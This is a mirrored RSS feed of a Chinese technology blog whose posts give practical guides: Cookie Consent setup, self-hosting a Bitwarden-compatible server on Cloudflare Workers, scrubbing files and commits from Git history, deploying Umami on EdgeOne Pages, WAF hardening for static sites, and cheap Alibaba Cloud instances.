mirror of
https://github.com/afoim/fuwari.git
synced 2026-01-31 00:53:19 +08:00
11055 lines
835 KiB
XML
11055 lines
835 KiB
XML
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>AcoFork Blog</title><description>技术分享与实践</description><link>https://blog.acofork.com/</link><language>zh_CN</language><item><title>加群向导</title><link>https://blog.acofork.com/posts/pin/</link><guid isPermaLink="true">https://blog.acofork.com/posts/pin/</guid><description>关于如何联系二叉树树~</description><pubDate>Sat, 24 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>官方</h1>
|
||
<h2>Telegram群组</h2>
|
||
<p><a href="https://t.me/+_07DERp7k1ljYTc1">Telegram: Join Group Chat [2x.nz]</a></p>
|
||
<h2>QQ群</h2>
|
||
<blockquote>
|
||
<p>为什么仅QQ群需要赞助?因为QQ作为国内平台,很容易被内鬼举报致使封群,但相对的,门槛更低,交流更方便。当然,如果您是高级用户,可以加入非QQ群。</p>
|
||
</blockquote>
|
||
<p>请先 <a href="/sponsors/">赞助</a> 至少 <strong>10 CNY</strong> 后加群。赞助时建议留备注,加群问题填写你留的备注或者交易订单号
|
||
点击链接加入群聊【2x.nz】: <a href="https://qm.qq.com/q/I2Quch1uy6">QQ群</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-15-03-24-11-image.9R4OmJCY.png" alt="" /></p>
|
||
<h1>非官方</h1>
|
||
<blockquote>
|
||
<p>粉丝自建</p>
|
||
</blockquote>
|
||
<p><a href="https://t.me/blog2x">Telegram: View @blog2x</a></p>
|
||
</content:encoded></item><item><title>想要一个Cookie管理器?无需手搓!</title><link>https://blog.acofork.com/posts/cookie-consent/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cookie-consent/</guid><description>Cookie Consent是一个开源简单实现的Cookie管理器,能让您的网站GDPR合规,仅需复制粘贴!</description><pubDate>Fri, 30 Jan 2026 20:27:05 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>你的网站是否有很多的跟踪器?如 <strong>Google Analytics、Google Adsense、Microsoft Clarity、百度统计</strong> 等等?</p>
|
||
<p>他们有些是追踪用户体验,获取站点访问数据,有些是提供广告,为您提供收入...</p>
|
||
<p>但是,用户是有权限拒绝某些东西的,如拒绝将访问信息传送给Google,或让展示的广告与个性化无关等等</p>
|
||
<p>那么我们要如何实现让用户控制自己的数据被传送向何方呢?</p>
|
||
<p>你可能会想到,我们可以先编写一个入口脚本,管理这些JS,让用户同意某些再执行JS,又或是和Service Worker约定拦截某些请求</p>
|
||
<p>这对于架构设计来说肯定是极好的,但是我们真的有必要手搓一个Cookie管理器吗,为何不去使用一个现成的解决方案呢?</p>
|
||
<p><a href="https://www.cookieconsent.com/">Download Cookie Consent Banner: GDPR + ePrivacy Directive</a> 它就是一个很好的选择,在该网站上提供你需要被管理的JS脚本片段,然后将该网站返回的JS脚本插入您的站点即可!无需编写额外的JS代码,无需管理复杂的Service Worker约定!这一切也都是通过该网站的客户端JavaScript实现的!</p>
|
||
<h1>正式开始</h1>
|
||
<p>首先,我们进入 <a href="https://www.cookieconsent.com/">Download Cookie Consent Banner: GDPR + ePrivacy Directive</a> (搭配浏览器翻译),往下滚动,找到步骤图</p>
|
||
<p>第一步,首先选择基本逻辑</p>
|
||
<ul>
|
||
<li>电子隐私指令:当用户未进行Cookie管理时,这往往是用户第一次进入你的网站,允许所有受管理的JavaScript脚本执行</li>
|
||
<li>GDPR + 电子隐私指令:字面意思,用户不允许就永远不加载</li>
|
||
</ul>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-1.CfMuBqUj.png" alt="" /></p>
|
||
<p>第二步,设置网站名称,布局样式以及提供您的隐私政策页面</p>
|
||
<p>首先填写网站名称,这会在用户管理Cookie时显示</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-3.D9SgKIXs.png" alt="" /></p>
|
||
<p>接下来选择布局,你可以在网站中看到实时更改与实际交互样式,这里不再赘述</p>
|
||
<p>然后,选择色彩搭配,这里是硬编码的,但是更建议后续通过JS动态更改自动适配白天/黑夜模式</p>
|
||
<p>默认语言用英语即可,该管理器提供了多达 <strong>36 种</strong> 语言,但就是没有简体中文,不过在实际的管理器中有繁体中文。不过英语仍然是一个较好的选择,它易读也是使用率最高的语言,这没什么问题</p>
|
||
<p>最终,对于隐私政策,这是个可选项,但是强烈建议配置。不过如果您暂时没有配置,也不用着急,先预填写一个将来的隐私政策URL(http/https开头),后续我会说明为什么这几乎是一个必填项</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-2.CEHklNdD.png" alt="" /></p>
|
||
<p>第三步,导入您的JS</p>
|
||
<p>Ok,终于到重头戏了,接下来,我们需要将我们网站上原来安装的各种追踪器(JS片段),归类然后一个个按部就班的添加进Cookie管理器</p>
|
||
<p>这里的名称仅会在最终代码中展示出来,站点访客仅能管理这四种类型是开是关(这也是为什么上文说你几乎配置一个隐私政策页面,否则用户根本不知道这四种类型分别对应着什么),其中,第一个类型是必开的,所以你可以在其中放入一些不运行这些JS网站就不正常的脚本(如评论区)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-4.B6sKOVo9.png" alt="" /></p>
|
||
<p>第四步,复制网站提供的JS,将其粘贴到您网站的 <code>&lt;body&gt;</code> 后。并移除重复的JS片段</p>
|
||
<p>值得注意的一点是,当用户在第一屏选择完要启用的Cookie后,日后想更改这些首选项,需要怎么做呢?</p>
|
||
<p>网站在提供的代码最后添加了一个特殊标签的按钮,也就是 <code>id="open_preferences_center"</code> ,你可以先将红框中的代码移除,否则可能会破坏布局,接下来找一个地方放置这个 <strong>编辑您的Cookie首选项</strong> 按钮,让用户可以轻松的更改Cookie首选项,而不是需要用户伪造一个按钮来手动触发这个id</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-5.B2keF0rr.png" alt="" /></p>
|
||
<h1>最终效果</h1>
|
||
<p>当用户第一次访问时,会弹出是否允许Cookie的弹窗。用户可以选择全部允许(I agree),全部拒绝(I decline)或高级配置(Change my preferences)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-6.3Mi-Tl2l.png" alt="" /></p>
|
||
<p>当用户选择高级配置(Change my preferences),会弹出一个窗口,用户首先可以看到一段文本,该文本告知了用户Cookie是什么,为什么需要,以及Cookie如何改善访问体验</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-7.WPVcvuyh.png" alt="" /></p>
|
||
<p>接下来,用户可以单独对这四个区块设置是否允许,每一个区块也会直接但笼统的告诉用户这部分区块的Cookie能做什么。如前文所述,第一个区块是始终开启的</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-8.zWOgdQeY.png" alt="" /></p>
|
||
<p>最终的更多信息(More Information)区块放置了我们最开始填写的隐私政策链接,用户可以方便的跳转到隐私政策页面(前提是你写了),来直观了解您的网站的隐私政策</p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-9.C8ya-W5U.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/cookie-consent-10.Y1uOLEMJ.png" alt="" /></p>
|
||
</content:encoded></item><item><title>你可曾想过,直接将BitWarden部署到Cloudflare Worker?</title><link>https://blog.acofork.com/posts/warden-worker/</link><guid isPermaLink="true">https://blog.acofork.com/posts/warden-worker/</guid><description>warden-worker就是这样一个项目,它将Rust编译为WASM,然后部署到Cloudflare Worker,无需VPS,无需家里云,只需点点鼠标就可免费用上自己的密码托管!</description><pubDate>Mon, 26 Jan 2026 17:00:52 GMT</pubDate><content:encoded><h1>原理</h1>
|
||
<p>项目参考开源的 <a href="https://github.com/dani-garcia/vaultwarden">dani-garcia/vaultwarden: Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs</a> 将Rust源码编译为WASM以支持在Cloudflare Worker上运行。其中Worker负责REST API,D1负责存储加密后的数据</p>
|
||
<h1>部署</h1>
|
||
<p>首先确保你安装了Rust,若无可前往: <a href="https://rust-lang.org/zh-CN/tools/install/">安装 Rust - Rust 程序设计语言</a></p>
|
||
<p>克隆仓库: <a href="https://github.com/afoim/warden-worker">afoim/warden-worker: A Bitwarden-compatible server for Cloudflare Workers</a></p>
|
||
<p>创建D1数据库</p>
|
||
<pre><code>wrangler d1 create warden-sql
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-25.CmQ7o3eQ.png" alt="" /></p>
|
||
<p>替换 <strong>wrangler.jsonc</strong> 的数据库ID</p>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-26.CWa0wwbj.png" alt="" /></p>
|
||
<p>初始化数据库</p>
|
||
<pre><code>wrangler d1 execute warden-sql --remote --file=sql/schema_full.sql
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-27.eEFHEWBr.png" alt="" /></p>
|
||
<p>编译Rust WASM</p>
|
||
<pre><code>cargo build --release
|
||
</code></pre>
|
||
<p>部署 Worker</p>
|
||
<pre><code>wrangler deploy
|
||
</code></pre>
|
||
<p>设置白名单邮箱</p>
|
||
<pre><code>wrangler secret put ALLOWED_EMAILS
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-29.qF4QAmEb.png" alt="" /></p>
|
||
<p>设置JWT(脸滚键盘即可)</p>
|
||
<pre><code>wrangler secret put JWT_SECRET
|
||
wrangler secret put JWT_REFRESH_SECRET
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-30.BTfOXu1s.png" alt="" /></p>
|
||
<p>设置2FA加密密钥(32字节Base64编码文本)</p>
|
||
<pre><code>wrangler secret put TWO_FACTOR_ENC_KEY
|
||
</code></pre>
|
||
<p>Poweshell可以这样生成</p>
|
||
<pre><code>[Convert]::ToBase64String((1..32 | ForEach-Object {Get-Random -Minimum 0 -Maximum 256}))
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-31.CQdPLYkf.png" alt="" /></p>
|
||
<p>前往控制台绑定域名(若路由需要手动写一条解析到Cloudflare)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-28.BTtxN6IS.png" alt="" /></p>
|
||
<p>使用移动端Bitwarden创建账号(使用白名单邮箱)</p>
|
||
<p>接下来,前往网页端,启用2FA: https://cfbw.2x.nz (用另一个TOTP验证器存储)</p>
|
||
<p><em>顺便一提,想要修改邮箱或主密码也可以在网页端进行了</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-32.CxAhR5gi.png" alt="" /></p>
|
||
<p>将所有已登录的设备登出后再登入则会被要求TOTP</p>
|
||
<h1>导入密码库</h1>
|
||
<p>如果您有旧的密码库,请先前往 <strong>设置 - 密码库选项 - 导出 - .json</strong></p>
|
||
<p>再登录当前密码库,前往 <strong>设置 - 密码库选项 - 导入 - .json</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/warden-worker-33.EeQq792e.png" alt="" /></p>
|
||
</content:encoded></item><item><title>如何让一个文件在Git提交中永远消失?如何丢掉其中一条提交并保持逻辑完整?</title><link>https://blog.acofork.com/posts/del-git-commit/</link><guid isPermaLink="true">https://blog.acofork.com/posts/del-git-commit/</guid><description>我们有时候可能会误操作导致提交了一个不该提交的文件,当你发现的时候,在此之后已经堆砌了很多新的提交...</description><pubDate>Sat, 24 Jan 2026 06:57:21 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>接简介</p>
|
||
<p>这个时候我们实际上是需要将那个错误提交的文件在所有Git提交上抹掉,并且逻辑自洽</p>
|
||
<p>当然,如果你不嫌麻烦或者仓库提交本来就很少,你可以一点点的手动重写Git提交历史。又或是将历史提交合并为一个提交,强制推送</p>
|
||
<p>但是,这些方法要不太磨人,要不不优雅</p>
|
||
<p>假设这个仓库有1000+提交又不想合并所有提交历史呢?</p>
|
||
<h1>正式开始</h1>
|
||
<p>有个PIP包正好可以满足我们的需求, <strong>git-filter-repo</strong></p>
|
||
<pre><code>pip install git-filter-repo
|
||
</code></pre>
|
||
<p>安装后,进入你的Git仓库运行,接下来,我们只需要传一个文件路径给它即可</p>
|
||
<ul>
|
||
<li><strong>--path</strong> 是传入的文件路径,可以是相对路径也可以是绝对路径。但是注意,要用 <strong>/</strong> 分割路径</li>
|
||
<li><strong>--force</strong> 是让它忽略安全性条件(如必须是一个刚克隆的仓库)</li>
|
||
<li><strong>--invert-paths</strong> 是反选路径,也就是 <strong>剔除</strong> 指定 <strong>--path</strong> 的文件</li>
|
||
</ul>
|
||
<p>执行后它会查找该文件所在仓库的所有提交,并仅将该文件剔除,若某一提交中仅对该文件做了更改,则一整条提交直接消失(因为提交中无文件更改);若某一提交中除了对该文件做了更改,还有其他文件,则该条提交仍然存在,但是文件变更记录中不再有该文件</p>
|
||
<pre><code>git filter-repo --force --path src/secret.txt --invert-paths
|
||
</code></pre>
|
||
<p>比如这里我们一不小心提交了个 <strong>微信密码</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-2.DsDzq7jn.png" alt="" /></p>
|
||
<p>我们可以用该命令将其 <strong>剔除</strong></p>
|
||
<pre><code>git filter-repo --force --path 微信密码.txt --invert-paths
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-4.DamxbiCC.png" alt="" /></p>
|
||
<p>可以看到,效果非常拔群, <strong>微信密码.txt</strong> 已经不翼而飞了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-3.Bghn_drv.png" alt="" /></p>
|
||
<p>但是还有个问题,就是我们曾经的 <strong>提交文本</strong> 暴露了 <strong>我们曾经曾上传过微信密码相关的文件</strong> ,虽然实际上文件已经被剔除了</p>
|
||
<p>那有没有办法把这条提交删掉呢?有的,兄弟有的</p>
|
||
<p>我们可以使用原生的 <strong>git rebase</strong> ,以该提交作为 <strong>基点</strong> ,将后续提交接在该提交上,这样就可以 <strong>架空</strong> 该提交。宏观来看,我们就在Git仓库中从 <strong>中间</strong> 删除了一条提交</p>
|
||
<p>首先,我们需要获取该提交的 <strong>哈希</strong> ,这里假设为 <strong>4e19d1fc6af5119cb33128a92d5d4e80fc42e6ef</strong> (仅需前8位即可)</p>
|
||
<p>接下来,使用变基命令</p>
|
||
<pre><code>git rebase --onto 4e19d1fc^ 4e19d1fc
|
||
</code></pre>
|
||
<p>这里会报错并自动中断变基进程,Git表示该提交有些文件和当前的提交冲突,无法自动解决冲突</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-5.Br8BtIDT.png" alt="" /></p>
|
||
<p>由于我们要以当前提交为准,仅剔除中间的提交,所以我们使用该命令 <strong>以当前提交为基准,解决所有文件的冲突</strong></p>
|
||
<pre><code>git checkout --theirs .
|
||
</code></pre>
|
||
<p>接下来将冲突标记为 <strong>已解决</strong></p>
|
||
<pre><code>git add -A
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-6.BV6qh85M.png" alt="" /></p>
|
||
<p>继续变基进程</p>
|
||
<pre><code>git rebase --continue
|
||
</code></pre>
|
||
<p>这里会弹出一个修改Git提交的vim,直接关掉即可。 <strong>ESC</strong> + <strong>:q</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-7.DqRuBqgw.png" alt="" /></p>
|
||
<p>如果中途又停下来重复上面几步即可。最终,检查你的本地提交,确认要删除的提交已经不再存在。并且目前工作区的文件没有任何更改,仅更改了Git历史提交记录</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-9.DCkn1R-O.png" alt="" /></p>
|
||
<p>最后,我们需要将本地仓库 <strong>覆写</strong> 到远程仓库,由于最开始的PIP包在命令执行完毕后会将远程仓库删除,我们此时需要重新添加回来</p>
|
||
<pre><code>git remote add origin https://github.com/你的用户名/你的仓库名.git
|
||
</code></pre>
|
||
<p>建立upstream并强制推送到远端</p>
|
||
<pre><code>git push -u origin main -f
|
||
</code></pre>
|
||
<p>此时,大功告成。自此时起,所有用户都已经看不到那个你不想让别人看到的文件与提交记录了,就像它从未存在过</p>
|
||
<p><em>真的吗?</em></p>
|
||
<p>如果说,有些人仍留存着你仓库提交的完整 <strong>commit id</strong> ,那他们可以通过该链接访问到那个你想隐藏的提交,只不过Github会弹出警告: <strong>This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.(此提交不属于此仓库的任何分支,可能属于仓库外的某个分支副本。)</strong></p>
|
||
<pre><code>https://github.com/{user}/{repo}/commit/{commit id}
|
||
</code></pre>
|
||
<p>如果想完全从Github上删除,你需要向Github提交支持工单: <a href="https://support.github.com/">GitHub 支持</a></p>
|
||
<p>点击我的工单</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-10.CDzLYFHJ.png" alt="" /></p>
|
||
<p>新工单</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-11.CsiooefG.png" alt="" /></p>
|
||
<p>从我拥有或控制的存储库中删除数据</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-12.0ucrbbJW.png" alt="" /></p>
|
||
<p>删除其他数据</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-13.BA2crSIO.png" alt="" /></p>
|
||
<p>接下来填写工单,你可以参考我的主题与正文(生成与 OpenAI ChatGPT 5.2)</p>
|
||
<pre><code>Title:Request to Remove an Orphaned Commit URL Containing Sensitive Information
|
||
|
||
Hello GitHub Support Team,
|
||
|
||
I am writing to request the removal of the following commit page from GitHub’s website:
|
||
|
||
https://github.com/{user}/{repo}/commit/{commit id}
|
||
|
||
This commit has already been removed from my local repository history and I have force-pushed the updated history to the GitHub remote repository. As a result, the commit is now orphaned and no longer reachable from any branch or tag.
|
||
|
||
However, the commit page itself is still accessible via its direct URL. Unfortunately, this commit contained sensitive information, and I would like to request that GitHub remove this URL from the website to prevent further access.
|
||
|
||
Please let me know if you need any additional information or verification from my side to proceed with this request.
|
||
|
||
Thank you very much for your time and assistance.
|
||
|
||
Best regards,
|
||
{user}
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-14.BO89QUP-.png" alt="" /></p>
|
||
<p>最后点击 <strong>Continue</strong> ,新版工单系统会自动使用Copilot为你生成一些帮助信息,等他BB完,我们继续创建即可</p>
|
||
<p>马上,你就会收到一封来自Github的邮件,表示Github已经收到您的工单。耐心等待Github的下一步回复即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-15.CsEMSE8Y.png" alt="" /></p>
|
||
<p>Update...</p>
|
||
<p>Github支持在12分钟后就删除了相关内容,这真的很高效</p>
|
||
<p><img src="https://blog.acofork.com/_astro/del-git-commit-16.BxKX-Ksu.png" alt="" /></p>
|
||
</content:encoded></item><item><title>WTF?!直接将Umami部署到EdgeOne Pages?扔掉VPS!直接跑在云函数!</title><link>https://blog.acofork.com/posts/eo-umami/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eo-umami/</guid><description>我们都知道,EdgeOne Pages有个完整的Node.js环境,那Umami是Next.js也基于Node.js,那我们是不是可以...</description><pubDate>Mon, 19 Jan 2026 10:14:32 GMT</pubDate><content:encoded><h1>原理探寻</h1>
|
||
<p>由于 <strong>Umami</strong> 使用的是 <strong>SSR</strong> ,我原以为EdgeOne Pages不支持该模式,尝试部署后发现最大的问题在于</p>
|
||
<pre><code>Error: SSR functions package size exceeds 128MiB limit (157MiB)
|
||
</code></pre>
|
||
<p>也就是说,EdgeOne Page是支持SSR程序的,只是Umami构建后的函数太大了,那么我们的思路就很清晰了,只需要裁切一些代码即可</p>
|
||
<p>那么该项目就应运而生了 <a href="https://github.com/afoim/umami">afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.</a></p>
|
||
<p>我将Umami v3中的无关紧要的东西,如 <code>像素统计</code> <code>链接统计</code> <code>团队</code> <code>地理位置文件</code> 删去了,最终可以在EO上部署一个残血版的Umami</p>
|
||
<p>至于数据库,我用的是 https://supabase.com/ 需要注意,连接方式不能用 <code>Direct Connection</code>
|
||
<img src="https://blog.acofork.com/_astro/eo-umami-2.B_7cF9HN.png" alt="" /></p>
|
||
<p>Demo: <a href="https://eo-umami.acofork.com/share/rC995W8J6CT4uLDo">Umami</a></p>
|
||
<p>视频: https://www.bilibili.com/video/BV1JiqSBaEY1/</p>
|
||
<p>唯一的缺陷,无法获取用户地区(原逻辑有个高达60M的本地Geo文件)
|
||
<img src="https://blog.acofork.com/_astro/eo-umami.CRrlz1l4.png" alt="" /></p>
|
||
<h1>上手部署</h1>
|
||
<ol>
|
||
<li>Fork 该仓库 [<a href="https://github.com/afoim/umami">afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.</a>](https://github.com/afoim/umami-edgeonepages/tree/main)</li>
|
||
<li>连接到EdgeOne Pages,但先别点部署</li>
|
||
<li>填写环境变量 <code>DATABASE_URL</code> 从Supbase中拿,类似于 <code>postgresql://postgres.kupggtyqiaepzvjqbboy:[YOUR-PASSWORD]@aws-1-ap-northeast-1.pooler.supabase.com:5432/postgres</code></li>
|
||
<li>绑定你的域名,访问并登录。用户名: admin | 密码:umami</li>
|
||
</ol>
|
||
<h1>疑难解答</h1>
|
||
<p><s>内部重定向貌似出了问题,如果你想要访问设置更改你的管理员密码请手动前往 <code>/settings/preferences</code></s> 他们解决了这个问题,但是...</p>
|
||
<p>但是有个新问题,就是POST请求全被吃了,目前代码暂时将所有POST请求改为了GET请求。我们在 <strong>Main</strong> 分支发布了全GET请求的版本,保证普通用户可用</p>
|
||
<p><strong>master 分支目前提供给腾讯当作试验场使用,会暴露很多敏感信息,别用</strong></p>
|
||
</content:encoded></item><item><title>静态网站也需要WAF?Cloudflare不需要但是EdgeOne/ESA需要!</title><link>https://blog.acofork.com/posts/waf/</link><guid isPermaLink="true">https://blog.acofork.com/posts/waf/</guid><description>在几周前,我的网站累计被DDoS了约100TB的流量,哪怕我是静态网站,并不会被“打死”,但因为流量过大,还是被EdgeOne取消接入了,其实这件事本不会发生...</description><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded><h1>静态网站能不能被打死?</h1>
|
||
<p>首先,先给结论:</p>
|
||
<p>如果你托管在 <strong>Cloudflare Page</strong> ,那确实不用担心,因为它既不对静态请求计费,自身的CDN网络也足够强大,只要不是一天一PB,都是稳如老狗的</p>
|
||
<p>但是,如果你托管在 <strong>EdgeOne/ESA</strong> 等计费平台,是 <strong>可以被打死</strong> 的</p>
|
||
<p>有人就会问了: 我都是静态网站了,源站都没有,怎么能被打死呢?</p>
|
||
<p>是的,你的确没有源站,静态网站也不计请求数,但是如果你任何防护都不配,所有人,或者说所有IP都可以批量刷取你站的流量,一天刷个几TB。几天后,<strong>CDN方可能就会给你取消接入了</strong></p>
|
||
<p>那么我们要解决的问题也就明晰了,其实跟动态网站一样,本质就是: <strong>让网站尽可能服务真实用户</strong> 。只不过对于动态站,这是为了 <strong>防止源站被打死</strong> ,而对于静态网站,是为了 <strong>CDN看到大额流量</strong></p>
|
||
<h1>如何做WAF?</h1>
|
||
<p>首先,如果你使用的CDN是国内节点,就直接拦截海外访问</p>
|
||
<p>因为大部分刷子的IP都来自海外(大陆IP金贵),直接拦截可以很好防止大文件被刷取,如图片等。我就是个例子
|
||
<img src="https://blog.acofork.com/_astro/waf-1.B7Z7rMjT.png" alt="" /></p>
|
||
<p>其实做好这一步,你已经 <strong>99%</strong> 不会被刷死了,因为海外刷子本来可以刷 <strong>100~1000KB</strong>不等的图片,但现在只能刷 <strong>拦截页面</strong> 了(一般不到 <strong>5KB</strong> ),而一般拦截页面没有太多信息,甚至有些平台能自定义拦截页面,使其返回空报文(<strong>小于1KB</strong>)</p>
|
||
<p>假如原本刷子可以拿 <strong>十万个</strong> IP刷死你,而现在刷子需要 <strong>100 * 100000 个</strong> IP才能刷死了 ,这无疑是个指数级别的增长,并且你还是静态站,刷死你除了让业务停机,你也不会收到任何账单,大部分刷子会放弃刷站</p>
|
||
<p>接下来我们仍然可以配置额外防护,比如 <strong>速率限制</strong>,<strong>全局JS质询</strong> 等,这些都是针对于真实访客无感的验证</p>
|
||
<p>对于 <strong>速率限制</strong> 。真实访客不会进你站疯狂按F5短时间刷大量请求</p>
|
||
<p>对于 <strong>JS质询</strong> 。真实访客是用 <strong>浏览器</strong> 访问的,而不是 <strong>curl</strong> <strong>wget</strong> <strong>okhttp</strong> <strong>httpx</strong> 等无JS执行模块的轻 <strong>请求发生器</strong> 访问的,所以建议开启全站JS拦截</p>
|
||
<p>接下来才是重磅的,如果你的站被刷特别严重,尽管在L7全拦截住了,但是流量还是止不住的被刷刷刷,那就不要犹豫,<strong>关闭CDN的 HTTP 2.0</strong></p>
|
||
<p>这是什么原理?我们都知道,在HTTP 2.0,引入了 <strong>连接复用</strong> ,也就是在一个TCP连接里面可以发很多HTTP请求,这无疑降低了攻击成本</p>
|
||
<p><strong>经过实测,关闭HTTP 2.0后,攻击者从1分钟刷50G暴跌到了10分钟刷5G</strong></p>
|
||
<blockquote>
|
||
<p>视频: https://www.bilibili.com/video/BV1paryBeEbP/</p>
|
||
</blockquote>
|
||
<h1>总结:如何成为最耐刷的网站?</h1>
|
||
<ol>
|
||
<li>拦截海外</li>
|
||
<li>所有请求JS质询(注意不要质询到API)</li>
|
||
<li>设置速率限制</li>
|
||
<li>关闭CDN的HTTP 2.0</li>
|
||
</ol>
|
||
<h1>奇技淫巧</h1>
|
||
<h3>ESA禁海外访问</h3>
|
||
<p>针对于ESA,免费版用户可能无法设置区域限制
|
||
<img src="https://blog.acofork.com/_astro/waf-3.BGkdcti5.png" alt="" /></p>
|
||
<p>但是我们可以 <strong>曲线救国</strong> ,先设置一个规则将所有请求默认拦截,再判断是不是大陆IP,如果是,则跳过这个规则</p>
|
||
<p><img src="https://blog.acofork.com/_astro/waf-4.hx-BeEfK.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/waf-5.Smz5IuFS.png" alt="" /></p>
|
||
<p>视频: https://www.bilibili.com/video/BV1fKimBnE3T/</p>
|
||
<h3>EdgeOne Page使用CDN WAF</h3>
|
||
<p>EdgeOne是个奇葩,它的CDN和Page的WAF是分开的,并且Page的WAF防护非常烂,只能 <strong>针对单个IP</strong> 进行拦截
|
||
<img src="https://blog.acofork.com/_astro/waf-8.CntHvySR.png" alt="" /></p>
|
||
<p>我们可以让CDN回源Page让Page吃上CDN的WAF策略,左边为CDN创建域名界面,右边悬浮窗为Page界面</p>
|
||
<blockquote>
|
||
<p>[!WARNING]
|
||
这样设置后你会在总览看到双倍的流量,因为CDN回源Page记一次,而Page真正提供源站内容再记一次。可以通过开启缓存来缓解</p>
|
||
</blockquote>
|
||
<p><img src="https://blog.acofork.com/_astro/waf-7.DX_DbHCN.png" alt="" /></p>
|
||
</content:encoded></item><item><title>什么?4元每月200G的服务器?还是阿里的?还有联通9929精品回程??</title><link>https://blog.acofork.com/posts/aliyun-ecs-4rm/</link><guid isPermaLink="true">https://blog.acofork.com/posts/aliyun-ecs-4rm/</guid><description>通过创建抢占型实例+每月免费CDT 200G流量包,你几乎只需要付很少的硬盘费!</description><pubDate>Fri, 16 Jan 2026 23:59:40 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>[!CAUTION]
|
||
抢占型实例在高峰期可能会进行回收,不要跑生产业务</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>[!NOTE]
|
||
下文都是以 <strong>阿里云国内版</strong> 演示的,注意在国内版按量付费业务需要账户内可用余额要 &gt;=100 CNY。国际版无限制,但是要海外手机号+海外卡,有可能还需要KYC</p>
|
||
</blockquote>
|
||
<h3>下载Alpine镜像</h3>
|
||
<blockquote>
|
||
<p>由于我们主要的成本在硬盘上面,所以呢为了极致压缩空间,我们需要一个非常小巧的Linux镜像,以便我们可以用1G的 ESSD 云盘来安装。如果你也是极致玩家,仅用1G盘装系统,那么一定就要用我下面给你的Alpine镜像
|
||
如果你财大气粗,不在乎,或者说想跑一些正常业务,想用Debian或Ubuntu,那就10G起步,也不需要自定义镜像了</p>
|
||
</blockquote>
|
||
<p>Alpine 60M镜像链接</p>
|
||
<pre><code>https://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/alpine-virt-3.23.2-x86_64.iso
|
||
</code></pre>
|
||
<h3>将镜像上传至阿里云OSS</h3>
|
||
<blockquote>
|
||
<p>由于我们需要自定义镜像,但是镜像又必须要通过OSS提供,所以我们需要临时性的创建一个OSS Bucket实例,来上传我们的ISO镜像。在实例成功创建后,我们可以将其删除,以避免不必要的扣费</p>
|
||
</blockquote>
|
||
<p>首先,来到 <a href="https://oss.console.aliyun.com/bucket">OSS管理控制台</a> ,创建一个 Bucket,<strong>地域一定要选中国香港</strong> ,并且上传ISO,最后,复制URL备用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-1.BukRs8uK.png" alt="" /></p>
|
||
<h3>导入镜像</h3>
|
||
<p>前往 <a href="https://ecs.console.aliyun.com/image/region/cn-hongkong">云服务器管理控制台</a> ,选择右上角的 导入镜像
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-2.CJWbIgbk.png" alt="" /></p>
|
||
<p>注意需要授权ECS访问OSS业务
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-3.DMPxNKbF.png" alt="" /></p>
|
||
<p>然后正常填写,<strong>取消勾选“导入后执行检测”</strong> ,先不要点下一步</p>
|
||
<p><img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-4.D7hFnk__.png" alt="" /></p>
|
||
